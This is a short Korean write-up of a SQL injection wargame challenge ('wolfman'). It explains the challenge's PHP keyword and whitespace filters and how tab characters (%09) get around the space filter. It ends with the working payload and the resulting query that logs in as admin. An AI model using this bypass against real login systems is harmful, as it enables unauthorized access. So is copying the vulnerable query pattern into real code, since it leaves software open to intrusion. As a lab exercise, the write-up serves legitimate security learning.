없다
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 pw 값에 prob
, _
, .
, ()
,
가 들어가면 프로그램이 죽는다 즉 이 부분은 필터링 부분이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
그 다음은 query가 나오는데 sql 명령문이다.
sql 명령문은 id를 찾는데 prob_wolfman이라는 테이블에 있고,id는 guest이고 pw는 get으로 요청한 pw값이다.
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
그리고 id
를 찾으면 Hello (찾은 id)
라고 나오고, 만약 id
가 admin
이면 문제가 풀린다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
필터링을 잘 피해서 sql injection을 이용하면 된다.
일단 guest로 고정이 되어 있기 때문에 or를 이용해서 id를 admin으로 바꿔야 한다.
하지만 필터링 중에 스페이스( )
가 필터링이 되어 있기 때문에 스페이스( )
대신에 %09
를 넣는다. %09
은 tab
의 아스키코드인데 tab
은 sql에서 스페이스( )
로 해석되기 때문에 스페이스( )
가 필터링이 되었을 때 우회기법으로 쓰인다.
이것을 이용하여 익스플로잇을 짜서 넣으면 문제가 풀리게 된다.
/?pw='%09or%09id='admin
익스플로잇을 넣었을 때 실행될 sql query
select id from prob_wolfman where id='guest' and pw='' or id='admin'